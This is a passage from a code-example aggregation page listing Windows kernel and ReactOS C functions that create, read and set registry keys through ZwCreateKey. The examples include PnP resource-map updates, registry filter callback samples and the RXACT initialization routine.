                        HalpPciIaeLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciIaeLogVariable[j],
                                      sizeof(HalpPciIaeLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_RSE:

                        HalpPciRseLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciRseLogVariable[j],
                                      sizeof(HalpPciRseLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_ME:

                        HalpPciMeLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciMeLogVariable[j],
                                      sizeof(HalpPciMeLogVariable[j]));

                        break;

                    }

                    continue ;
                }

                //
                // Otherwise, let's initialize the
                // appropriate variable that the bus
                // and interrupt handlers will reference
                // and update
                //

                switch (i) {

                    case PCI_ERROR_LOG_KEY_RMA:

                    HalpPciRmaLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_MPE:

                    HalpPciMpeLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_RER:

                    HalpPciRerLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_RTA:

                    HalpPciRtaLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_IAE:

                    HalpPciIaeLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_RSE:

                    HalpPciRseLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case PCI_ERROR_LOG_KEY_ME:

                    HalpPciMeLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                }

            }

        }

        ZwClose(hErrKey);

    }

    //
    // Processor keys
    //

    for (i = 0; i < PROC_ERROR_LOG_KEY_MAX; i++) {

        RtlInitUnicodeString(&unicodeString, rgzProcErrorLogKeys[i]);
        InitializeObjectAttributes (&objectAttributes,
                                    &unicodeString,
                                    OBJ_CASE_INSENSITIVE,
                                    NULL,
                                    NULL);

        status = ZwCreateKey (&hErrKey,
                              KEY_WRITE,
                              &objectAttributes,
                              0,
                              NULL,
                              REG_OPTION_NON_VOLATILE,
                              &disposition);

        if (!NT_SUCCESS(status)) {
            return ;
        }

        ZwClose(hErrKey);

    }

}
예제 #22
0
파일: pnpres.c 프로젝트: killvxk/NT_OS
NTSTATUS
IopUpdateResourceMap(IN PDEVICE_NODE DeviceNode, PWCHAR Level1Key, PWCHAR Level2Key)
{
  NTSTATUS Status;
  ULONG Disposition;
  HANDLE PnpMgrLevel1, PnpMgrLevel2, ResourceMapKey;
  UNICODE_STRING KeyName;
  OBJECT_ATTRIBUTES ObjectAttributes;

  RtlInitUnicodeString(&KeyName,
               L"\\Registry\\Machine\\HARDWARE\\RESOURCEMAP");
  InitializeObjectAttributes(&ObjectAttributes,
                 &KeyName,
                 OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                 0,
                 NULL);
  Status = ZwCreateKey(&ResourceMapKey,
               KEY_ALL_ACCESS,
               &ObjectAttributes,
               0,
               NULL,
               REG_OPTION_VOLATILE,
               &Disposition);
  if (!NT_SUCCESS(Status))
      return Status;

  RtlInitUnicodeString(&KeyName, Level1Key);
  InitializeObjectAttributes(&ObjectAttributes,
                 &KeyName,
                 OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                 ResourceMapKey,
                 NULL);
  Status = ZwCreateKey(&PnpMgrLevel1,
                       KEY_ALL_ACCESS,
                       &ObjectAttributes,
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       &Disposition);
  ZwClose(ResourceMapKey);
  if (!NT_SUCCESS(Status))
      return Status;

  RtlInitUnicodeString(&KeyName, Level2Key);
  InitializeObjectAttributes(&ObjectAttributes,
                 &KeyName,
                 OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                 PnpMgrLevel1,
                 NULL);
  Status = ZwCreateKey(&PnpMgrLevel2,
                       KEY_ALL_ACCESS,
                       &ObjectAttributes,
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       &Disposition);
  ZwClose(PnpMgrLevel1);
  if (!NT_SUCCESS(Status))
      return Status;

  if (DeviceNode->ResourceList)
  {
      UNICODE_STRING NameU;
      UNICODE_STRING RawSuffix, TranslatedSuffix;
      ULONG OldLength = 0;

      ASSERT(DeviceNode->ResourceListTranslated);
      
      RtlInitUnicodeString(&TranslatedSuffix, L".Translated");
      RtlInitUnicodeString(&RawSuffix, L".Raw");

      Status = IoGetDeviceProperty(DeviceNode->PhysicalDeviceObject,
                                   DevicePropertyPhysicalDeviceObjectName,
                                   0,
                                   NULL,
                                   &OldLength);
      if (Status == STATUS_BUFFER_OVERFLOW || Status == STATUS_BUFFER_TOO_SMALL)
      {
          ASSERT(OldLength);
          
          NameU.Buffer = ExAllocatePool(PagedPool, OldLength + TranslatedSuffix.Length);
          if (!NameU.Buffer)
          {
              ZwClose(PnpMgrLevel2);
              return STATUS_INSUFFICIENT_RESOURCES;
          }
          
          NameU.Length = 0;
          NameU.MaximumLength = (USHORT)OldLength + TranslatedSuffix.Length;
          
          Status = IoGetDeviceProperty(DeviceNode->PhysicalDeviceObject,
                                       DevicePropertyPhysicalDeviceObjectName,
                                       NameU.MaximumLength,
                                       NameU.Buffer,
                                       &OldLength);
          if (!NT_SUCCESS(Status))
          {
              ZwClose(PnpMgrLevel2);
              ExFreePool(NameU.Buffer);
              return Status;
          }
      }
      else if (!NT_SUCCESS(Status))
      {
          /* Some failure */
          ZwClose(PnpMgrLevel2);
          return Status;
      }
      else
      {
          /* This should never happen */
          ASSERT(FALSE);
      }
      
      NameU.Length = (USHORT)OldLength;

      RtlAppendUnicodeStringToString(&NameU, &RawSuffix);

      Status = ZwSetValueKey(PnpMgrLevel2,
                             &NameU,
                             0,
                             REG_RESOURCE_LIST,
                             DeviceNode->ResourceList,
                             PnpDetermineResourceListSize(DeviceNode->ResourceList));
      if (!NT_SUCCESS(Status))
      {
          ZwClose(PnpMgrLevel2);
          ExFreePool(NameU.Buffer);
          return Status;
      }

      /* "Remove" the suffix by setting the length back to what it used to be */
      NameU.Length = (USHORT)OldLength;

      RtlAppendUnicodeStringToString(&NameU, &TranslatedSuffix);

      Status = ZwSetValueKey(PnpMgrLevel2,
                             &NameU,
                             0,
                             REG_RESOURCE_LIST,
                             DeviceNode->ResourceListTranslated,
                             PnpDetermineResourceListSize(DeviceNode->ResourceListTranslated));
      ZwClose(PnpMgrLevel2);
      ExFreePool(NameU.Buffer);

      if (!NT_SUCCESS(Status))
          return Status;
  }
  else
  {
      ZwClose(PnpMgrLevel2);
  }

  return STATUS_SUCCESS;
}
예제 #23
0
BOOLEAN 
MultipleAltitudeBlockDuringPreSample(
    )
/*++

Routine Description:

    This sample features a stack of three callbacks at different altitudes and
    demonstrates what happens when middle callback blocks an operation
    in the pre-notification phase. 

Return Value:

    TRUE if the sample completed successfully.

--*/
{

    PCALLBACK_CONTEXT CallbackCtxHigh = NULL;
    PCALLBACK_CONTEXT CallbackCtxMid = NULL;
    PCALLBACK_CONTEXT CallbackCtxLow = NULL;
    NTSTATUS Status;
    OBJECT_ATTRIBUTES KeyAttributes;
    UNICODE_STRING Name;
    HANDLE Key = NULL;
    BOOLEAN Success = FALSE;

    InfoPrint("");
    InfoPrint("=== Multiple Altitude Block During Pre Sample ====");

    //
    // Create callback contexts for the 3 callbacks.
    // The high and low callbacks will only monitor how many notifications
    // they receive.
    //
    
    CallbackCtxHigh = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_MONITOR,
                                            CALLBACK_HIGH_ALTITUDE);
    CallbackCtxMid = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_BLOCK_DURING_PRE,
                                           CALLBACK_ALTITUDE);
    CallbackCtxLow = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_MONITOR,
                                           CALLBACK_LOW_ALTITUDE);

    if ((CallbackCtxHigh == NULL) ||
        (CallbackCtxMid == NULL) ||
        (CallbackCtxLow == NULL)) {
        goto Exit;
    }

    //
    // Register the callbacks
    //

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxHigh->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxHigh,
                                  &CallbackCtxHigh->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxMid->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxMid,
                                  &CallbackCtxMid->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxLow->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxLow,
                                  &CallbackCtxLow->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Success = TRUE;

    //
    // Do a create key operation which will be blocked by the middle
    // callback and fail with STATUS_ACCESS_DENIED
    //
    
    RtlInitUnicodeString(&Name, KEY_NAME);
    InitializeObjectAttributes(&KeyAttributes,
                               &Name,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               g_RootKey,
                               NULL);

    Status = ZwCreateKey(&Key,
                         KEY_ALL_ACCESS,
                         &KeyAttributes,
                         0,
                         NULL,
                         0,
                         NULL);

    if (Status != STATUS_ACCESS_DENIED) {
        ErrorPrint("ZwCreateKey returned unexpected status 0x%x", Status);
        Success = FALSE;
    }

    
    //
    // Unregister the callbacks
    //

    Status = CmUnRegisterCallback(CallbackCtxHigh->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
    }

    Status = CmUnRegisterCallback(CallbackCtxMid->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
    }

    Status = CmUnRegisterCallback(CallbackCtxLow->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
    }


    //
    // Verify that the highest alitude callback receives a pre and a post 
    // notification. It receives a post notification because it returned 
    // STATUS_SUCCESS in the pre-notification so it is guaranteed to get a 
    // post notification.
    //
    
    if ((CallbackCtxHigh->PreNotificationCount != 1) ||
        (CallbackCtxHigh->PostNotificationCount != 1)) {
        ErrorPrint("High Callback should have seen 1 pre and 1 post notifications.");
        ErrorPrint("High Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxHigh->PreNotificationCount,
                   CallbackCtxHigh->PostNotificationCount);
        Success = FALSE;
    }

    //
    // Verify the middle callback receives only a pre notification.
    // It does not get a post notification because it return a non-success
    // value in the pre-notification phase.
    //
    
    if ((CallbackCtxMid->PreNotificationCount != 1) ||
        (CallbackCtxMid->PostNotificationCount != 0)) {
        ErrorPrint("Mid Callback should have seen 1 pre and 0 post notifications.");
        ErrorPrint("Mid Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxMid->PreNotificationCount,
                   CallbackCtxMid->PostNotificationCount);
        Success = FALSE;
    }

    //
    // Verify the lowest callback receives no notifications.
    // Once the middle callback blocks, no callbacks at lower altitudes are
    // notified.
    //
    
    if ((CallbackCtxLow->PreNotificationCount != 0) ||
        (CallbackCtxLow->PostNotificationCount != 0)) {
        ErrorPrint("Low Callback should have seen 0 pre and 0 post notifications.");
        ErrorPrint("Low Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxLow->PreNotificationCount,
                   CallbackCtxLow->PostNotificationCount);
        Success = FALSE;
    }

  Exit:

    if (Success) {
        InfoPrint("Multiple Altitude Block During Pre Sample succeeded.");
    } else {
        ErrorPrint("Multiple Altitude Block During Pre Sample FAILED.");
    }

    //
    // Clean up
    //

    if (Key != NULL) {
        ZwDeleteKey(Key);
        ZwClose(Key);
    }

    if (CallbackCtxHigh != NULL) {
        ExFreePoolWithTag(CallbackCtxHigh, REGFLTR_CONTEXT_POOL_TAG);
    }

    if (CallbackCtxMid != NULL) {
        ExFreePoolWithTag(CallbackCtxMid, REGFLTR_CONTEXT_POOL_TAG);
    }

    if (CallbackCtxLow != NULL) {
        ExFreePoolWithTag(CallbackCtxLow, REGFLTR_CONTEXT_POOL_TAG);
    }

    return Success;
}
예제 #24
0
NTSTATUS
NdasPortFdoOpenRegistryKey(
	__in PNDASPORT_FDO_EXTENSION FdoExtension,
	__in NDASPORT_FDO_REGKEY_TYPE RegKeyType,
	__in ACCESS_MASK DesiredAccess,
	__out PHANDLE KeyHandle)
{
	NTSTATUS status, status2;
	HANDLE rootKeyHandle, targetKeyHandle;

	PAGED_CODE();

	*KeyHandle = NULL;

	switch (RegKeyType)
	{
	case NDASPORT_FDO_REGKEY_ROOT:
	case NDASPORT_FDO_REGKEY_LOGICALUNIT_LIST:
		break;
	default:
		ASSERTMSG("Invalid parameter specified", FALSE);
		return STATUS_INVALID_PARAMETER_2;
	}

	//
	// IoOpenDeviceRegistryKey requires PDO (not FDO)
	//

	rootKeyHandle = NULL;
	status = IoOpenDeviceRegistryKey(
		FdoExtension->LowerPdo,
		PLUGPLAY_REGKEY_DEVICE, 
		DesiredAccess | KEY_CREATE_SUB_KEY, // required for subkey creation
		&rootKeyHandle);

	if (!NT_SUCCESS(status))
	{
		NdasPortTrace(NDASPORT_FDO_IOCTL, TRACE_LEVEL_ERROR,
			"IoOpenDeviceRegistryKey failed, status=%X, fdo=%p\n", 
			status, FdoExtension->DeviceObject);
		return status;
	}

	switch (RegKeyType)
	{
	case NDASPORT_FDO_REGKEY_ROOT:
		targetKeyHandle = rootKeyHandle;
		break;
	case NDASPORT_FDO_REGKEY_LOGICALUNIT_LIST:
		{
			OBJECT_ATTRIBUTES keyAttributes;
			WCHAR keyNameBuffer[16] = L"LogicalUnits";
			UNICODE_STRING keyName;

			RtlInitUnicodeString(&keyName, keyNameBuffer);
			
			InitializeObjectAttributes(
				&keyAttributes,
				&keyName,
				OBJ_CASE_INSENSITIVE | OBJ_OPENIF | OBJ_KERNEL_HANDLE,
				rootKeyHandle,
				NULL);

			targetKeyHandle = NULL;

			status = ZwCreateKey(
				&targetKeyHandle,
				DesiredAccess,
				&keyAttributes,
				0,
				NULL,
				REG_OPTION_NON_VOLATILE,
				NULL);

			if (!NT_SUCCESS(status))
			{
				status2 = ZwClose(rootKeyHandle);
				ASSERT(NT_SUCCESS(status2));
				return status;
			}

			status2 = ZwClose(rootKeyHandle);
			ASSERT(NT_SUCCESS(status2));
		}
		break;
	default:
		targetKeyHandle = NULL;
	}

	*KeyHandle = targetKeyHandle;

	return status;
}
예제 #25
0
BOOLEAN
SetCallContextSample(
    )
/*++

Routine Description:

    This sample shows how a registry callback can associate a context
    with a registry operation during the pre-notification phase so that it
    is available in the post-notification phase. 

Return Value:

    TRUE if the sample completed successfully.

--*/
{
    PCALLBACK_CONTEXT CallbackCtx = NULL;
    NTSTATUS Status;
    OBJECT_ATTRIBUTES KeyAttributes;
    UNICODE_STRING Name;
    HANDLE Key = NULL;
    DWORD ValueData = 0;
    BOOLEAN Success = FALSE;
    

    InfoPrint("");
    InfoPrint("=== Set Operation Context Sample ====");

    //
    // Create the callback context
    //

    CallbackCtx = CreateCallbackContext(CALLBACK_MODE_SET_CALL_CONTEXT,
                                         CALLBACK_ALTITUDE);

    if (CallbackCtx == NULL) {
        goto Exit;
    }
    
    //
    // Register callback with the context
    //

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtx->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtx,
                                  &CallbackCtx->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Success = TRUE;

    //
    // Create a key and set a value.
    //

    RtlInitUnicodeString(&Name, KEY_NAME);
    InitializeObjectAttributes(&KeyAttributes,
                               &Name,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               g_RootKey,
                               NULL);

    Status = ZwCreateKey(&Key,
                         KEY_ALL_ACCESS,
                         &KeyAttributes,
                         0,
                         NULL,
                         0,
                         NULL);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("ZwCreateKey failed. Status 0x%x", Status);
        Success = FALSE;
    }

    RtlInitUnicodeString(&Name, VALUE_NAME);
    Status = ZwSetValueKey(g_RootKey,
                           &Name,
                           0,
                           REG_DWORD,
                           &ValueData,
                           sizeof(ValueData));
    
    if(!NT_SUCCESS(Status)) {
        ErrorPrint("ZwSetValue failed. Status 0x%x", Status);
        Success = FALSE;
    }

    //
    // Unregister the callback
    //

    Status = CmUnRegisterCallback(CallbackCtx->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
        Success = FALSE;
    }


    //
    // Check that the callback records 2 in OperationContextCount.
    // The count should be incremented once in the post-notification for the
    // create key and once for the set value.
    //

    if (CallbackCtx->NotificationWithContextCount != 2) {
        ErrorPrint("Callback OperationWithContextCount expected 2, got %d",
                   CallbackCtx->NotificationWithContextCount);
        Success = FALSE;
    }

  Exit:
    
    if (Success == TRUE) {
        InfoPrint("Set Call Context sample succeeded.");
    } else {
        ErrorPrint("Set Call Context sample FAILED.");
    }

    //
    // Clean up
    //
    
    if (Key != NULL) {
        ZwDeleteKey(Key);
        ZwClose(Key);
    }

    RtlInitUnicodeString(&Name, VALUE_NAME);
    ZwDeleteValueKey(g_RootKey, &Name);

    if (CallbackCtx != NULL) {
        ExFreePoolWithTag(CallbackCtx, REGFLTR_CONTEXT_POOL_TAG);
    }

    return Success;

}
예제 #26
0
BOOLEAN 
MultipleAltitudeInternalInvocationSample(
    )
/*++

Routine Description:

    This sample features a stack of 3 callbacks at different altitudes and
    demonstrates what happens when the middle callback invokes a registry
    operation. 

Return Value:

    TRUE if the sample completed successfully.

--*/
{
    PCALLBACK_CONTEXT CallbackCtxHigh = NULL;
    PCALLBACK_CONTEXT CallbackCtxMid = NULL;
    PCALLBACK_CONTEXT CallbackCtxLow = NULL;
    NTSTATUS Status;
    OBJECT_ATTRIBUTES KeyAttributes;
    UNICODE_STRING Name;
    HANDLE Key = NULL;
    BOOLEAN Success = FALSE;
    

    InfoPrint("");
    InfoPrint("=== Multiple Altitude Internal Invocation Sample ====");

    //
    // Create callback contexts for the 3 callbacks.
    // The high and low callbacks will only monitor how many notifications
    // they receive.
    //
    
    CallbackCtxHigh = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_MONITOR,
                                            CALLBACK_HIGH_ALTITUDE);
    CallbackCtxMid = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_INTERNAL_INVOCATION,
                                           CALLBACK_ALTITUDE);
    CallbackCtxLow = CreateCallbackContext(CALLBACK_MODE_MULTIPLE_ALTITUDE_MONITOR,
                                           CALLBACK_LOW_ALTITUDE);

    if ((CallbackCtxHigh == NULL) ||
        (CallbackCtxMid == NULL) ||
        (CallbackCtxLow == NULL)) {
        goto Exit;
    }

    //
    // Register the callbacks
    //

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxHigh->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxHigh,
                                  &CallbackCtxHigh->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxMid->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxMid,
                                  &CallbackCtxMid->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Status = CmRegisterCallbackEx(Callback,
                                  &CallbackCtxLow->Altitude,
                                  g_DeviceObj->DriverObject,
                                  (PVOID) CallbackCtxLow,
                                  &CallbackCtxLow->Cookie, 
                                  NULL);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmRegisterCallback failed. Status 0x%x", Status);
        goto Exit;
    }

    Success = TRUE;

    //
    // Create a key. When the middle callback receives the pre-notification
    // and the post-notification for this create it will perform an open key 
    // and a close key operation.
    //
    
    RtlInitUnicodeString(&Name, KEY_NAME);
    InitializeObjectAttributes(&KeyAttributes,
                               &Name,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               g_RootKey,
                               NULL);

    Status = ZwCreateKey(&Key,
                         KEY_ALL_ACCESS,
                         &KeyAttributes,
                         0,
                         NULL,
                         0,
                         NULL);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("ZwCreateKey returned unexpected status 0x%x", Status);
        Success = FALSE;
    }

    //
    // Unregister the callbacks
    //

    Status = CmUnRegisterCallback(CallbackCtxHigh->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
        Success = FALSE;
    }

    Status = CmUnRegisterCallback(CallbackCtxMid->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
        Success = FALSE;
    }

    Status = CmUnRegisterCallback(CallbackCtxLow->Cookie);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("CmUnRegisterCallback failed. Status 0x%x", Status);
        Success = FALSE;
    }


    //
    // Verify the highest altitude callback receives one pre and one post
    // notification. This callback does not get notifications for the 
    // registry operations called by the middle callback.
    //
    
    if ((CallbackCtxHigh->PreNotificationCount != 1) ||
        (CallbackCtxHigh->PostNotificationCount != 1)) {
        ErrorPrint("High Callback should have seen 1 pre and 1 post notifications.");
        ErrorPrint("High Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxHigh->PreNotificationCount,
                   CallbackCtxHigh->PostNotificationCount);
        Success = FALSE;
    }

    //
    // Verify the middle callback receives one pre and one post notification.
    // This callback does not get notifications for the registry operations 
    // that it calls.
    //
    
    if ((CallbackCtxMid->PreNotificationCount != 1) ||
        (CallbackCtxMid->PostNotificationCount != 1)) {
        ErrorPrint("Mid Callback should have seen 1 pre and 1 post notifications.");
        ErrorPrint("Mid Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxMid->PreNotificationCount,
                   CallbackCtxMid->PostNotificationCount);
        Success = FALSE;
    }

    //
    // Verify the lowest callback receives 5 pre-notifications and 5
    // post-notifications. This callback receives 1 pre and 1 post from the 
    // original create key operation. It also receives 2 pre and 2 post for
    // the open key and close key operations called by the middle callback 
    // during the pre phase of the create key and then 2 pre and 2 post again
    // for the calls in the post phase of the create key.
    //
    
    if ((CallbackCtxLow->PreNotificationCount != 5) ||
        (CallbackCtxLow->PostNotificationCount != 5)) {
        ErrorPrint("Low Callback should have seen 5 pre and 5 post notifications.");
        ErrorPrint("Low Callback actually saw %d pre and %d post notifications.",
                   CallbackCtxLow->PreNotificationCount,
                   CallbackCtxLow->PostNotificationCount);
        Success = FALSE;
    }

  Exit:
    
    if (Success) {
        InfoPrint("Multiple Altitude Internal Invocation Sample succeeded.");
    } else {
        ErrorPrint("Multiple Altitude Internal Invocation Sample FAILED.");
    }

    //
    // Clean up
    //

    if (Key != NULL) {
        ZwDeleteKey(Key);
        ZwClose(Key);
    }

    if (CallbackCtxHigh != NULL) {
        ExFreePoolWithTag(CallbackCtxHigh, REGFLTR_CONTEXT_POOL_TAG);
    }

    if (CallbackCtxMid != NULL) {
        ExFreePoolWithTag(CallbackCtxMid, REGFLTR_CONTEXT_POOL_TAG);
    }

    if (CallbackCtxLow != NULL) {
        ExFreePoolWithTag(CallbackCtxLow, REGFLTR_CONTEXT_POOL_TAG);
    }

    return Success;
}
예제 #27
0
파일: rxact.c 프로젝트: Strongc/reactos
NTSTATUS
NTAPI
RtlInitializeRXact(
    HANDLE RootDirectory,
    BOOLEAN Commit,
    PRXACT_CONTEXT *OutContext)
{
    NTSTATUS Status, TmpStatus;
    PRXACT_CONTEXT Context;
    PKEY_VALUE_FULL_INFORMATION KeyValueInformation;
    KEY_VALUE_BASIC_INFORMATION KeyValueBasicInfo;
    UNICODE_STRING ValueName;
    UNICODE_STRING KeyName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    RXACT_INFO TransactionInfo;
    ULONG Disposition;
    ULONG ValueType;
    ULONG ValueDataLength;
    ULONG Length;
    HANDLE KeyHandle;

    /* Open or create the 'RXACT' key in the root directory */
    RtlInitUnicodeString(&KeyName, L"RXACT");
    InitializeObjectAttributes(&ObjectAttributes,
                               &KeyName,
                               OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                               RootDirectory,
                               NULL);
    Status = ZwCreateKey(&KeyHandle,
                         KEY_READ | KEY_WRITE | DELETE,
                         &ObjectAttributes,
                         0,
                         NULL,
                         0,
                         &Disposition);
    if (!NT_SUCCESS(Status))
    {
        return Status;
    }

    /* Allocate a new context */
    Context = RtlAllocateHeap(RtlGetProcessHeap(), 0, sizeof(*Context));
    *OutContext = Context;
    if (Context == NULL)
    {
        TmpStatus = ZwDeleteKey(KeyHandle);
        ASSERT(NT_SUCCESS(TmpStatus));

        TmpStatus = NtClose(KeyHandle);
        ASSERT(NT_SUCCESS(TmpStatus));

        return STATUS_NO_MEMORY;
    }

    /* Initialize the context */
    RXactInitializeContext(Context, RootDirectory, KeyHandle);

    /* Check if we created a new key */
    if (Disposition == REG_CREATED_NEW_KEY)
    {
        /* The key is new, set the default value */
        TransactionInfo.Revision = 1;
        RtlInitUnicodeString(&ValueName, NULL);
        Status = ZwSetValueKey(KeyHandle,
                               &ValueName,
                               0,
                               REG_NONE,
                               &TransactionInfo,
                               sizeof(TransactionInfo));
        if (!NT_SUCCESS(Status))
        {
            TmpStatus = ZwDeleteKey(KeyHandle);
            ASSERT(NT_SUCCESS(TmpStatus));

            TmpStatus = NtClose(KeyHandle);
            ASSERT(NT_SUCCESS(TmpStatus));

            RtlFreeHeap(RtlGetProcessHeap(), 0, *OutContext);
            return Status;
        }

        return STATUS_RXACT_STATE_CREATED;
    }
    else
    {
        /* The key exited, get the default key value */
        ValueDataLength = sizeof(TransactionInfo);
        Status = RtlpNtQueryValueKey(KeyHandle,
                                     &ValueType,
                                     &TransactionInfo,
                                     &ValueDataLength,
                                     0);
        if (!NT_SUCCESS(Status))
        {
            TmpStatus = NtClose(KeyHandle);
            ASSERT(NT_SUCCESS(TmpStatus));
            RtlFreeHeap(RtlGetProcessHeap(), 0, Context);
            return Status;
        }

        /* Check if the value date is valid */
        if ((ValueDataLength != sizeof(TransactionInfo)) ||
                (TransactionInfo.Revision != 1))
        {
            TmpStatus = NtClose(KeyHandle);
            ASSERT(NT_SUCCESS(TmpStatus));
            RtlFreeHeap(RtlGetProcessHeap(), 0, Context);
            return STATUS_UNKNOWN_REVISION;
        }

        /* Query the 'Log' key value */
        RtlInitUnicodeString(&ValueName, L"Log");
        Status = ZwQueryValueKey(KeyHandle,
                                 &ValueName,
                                 KeyValueBasicInformation,
                                 &KeyValueBasicInfo,
                                 sizeof(KeyValueBasicInfo),
                                 &Length);
        if (!NT_SUCCESS(Status))
        {
            /* There is no 'Log', so we are done */
            return STATUS_SUCCESS;
        }

        /* Check if the caller asked to commit the current state */
        if (!Commit)
        {
            /* We have a log, that must be committed first! */
            return STATUS_RXACT_COMMIT_NECESSARY;
        }

        /* Query the size of the 'Log' key value */
        Status = ZwQueryValueKey(KeyHandle,
                                 &ValueName,
                                 KeyValueFullInformation,
                                 NULL,
                                 0,
                                 &Length);
        if (Status != STATUS_BUFFER_TOO_SMALL)
        {
            return Status;
        }

        /* Allocate a buffer for the key value information */
        KeyValueInformation = RtlAllocateHeap(RtlGetProcessHeap(), 0, Length);
        if (KeyValueInformation == NULL)
        {
            return STATUS_NO_MEMORY;
        }

        /* Query the 'Log' key value */
        Status = ZwQueryValueKey(KeyHandle,
                                 &ValueName,
                                 KeyValueFullInformation,
                                 KeyValueInformation,
                                 Length,
                                 &Length);
        if (!NT_SUCCESS(Status))
        {
            RtlFreeHeap(RtlGetProcessHeap(), 0, KeyValueInformation);
            RtlFreeHeap(RtlGetProcessHeap(), 0, Context);
            return Status;
        }

        /* Set the Data pointer to the key value data */
        Context->Data = (PRXACT_DATA)((PUCHAR)KeyValueInformation +
                                      KeyValueInformation->DataOffset);

        /* This is an old log, don't use handles when committing! */
        Context->CanUseHandles = FALSE;

        /* Commit the data */
        Status = RXactpCommit(Context);
        if (!NT_SUCCESS(Status))
        {
            RtlFreeHeap(RtlGetProcessHeap(), 0, KeyValueInformation);
            RtlFreeHeap(RtlGetProcessHeap(), 0, Context);
            return Status;
        }

        /* Delete the old key */
        Status = NtDeleteValueKey(KeyHandle, &ValueName);
        ASSERT(NT_SUCCESS(Status));

        /* Set the data member to the allocated buffer, so it will get freed */
        Context->Data = (PRXACT_DATA)KeyValueInformation;

        /* Abort the old transaction */
        Status = RtlAbortRXact(Context);
        ASSERT(NT_SUCCESS(Status));

        return Status;
    }
}
예제 #28
0
static
